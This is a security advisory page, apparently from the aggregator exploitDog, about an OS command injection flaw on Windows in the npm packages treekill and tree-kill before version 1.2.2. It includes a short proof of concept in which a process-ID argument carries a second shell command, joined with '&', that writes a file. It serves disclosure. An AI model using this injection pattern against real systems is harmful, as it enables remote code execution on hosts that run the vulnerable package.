Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-j7fq-p9q7-5wfv

Опубликовано: 24 мая 2022
Источник: github
Github: Прошло ревью
CVSS3: 9.8

Описание

Treekill Enables OS Command Injection

A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.

Steps To Reproduce:

Create the following PoC file:

var kill = require('treekill'); kill('3333332 & echo "HACKED" > HACKED.txt & ');

Execute the following commands in terminal:

npm i treekill # Install affected module dir # Check *HACKED.txt* doesn't exist node poc.js # Run the PoC dir # Now *HACKED.txt* exists :)

The HACKED.txt has been created

Пакеты

Наименование

tree-kill

npm
Затронутые версииВерсия исправления

< 1.2.2

1.2.2

EPSS

Процентиль: 85%
0.02509
Низкий

9.8 Critical

CVSS3

Дефекты

CWE-78

Связанные уязвимости

CVSS3: 9.8
nvd
около 6 лет назад

A Code Injection exists in treekill on Windows which allows a remote code execution when an attacker is able to control the input into the command.

EPSS

Процентиль: 85%
0.02509
Низкий

9.8 Critical

CVSS3

Дефекты

CWE-78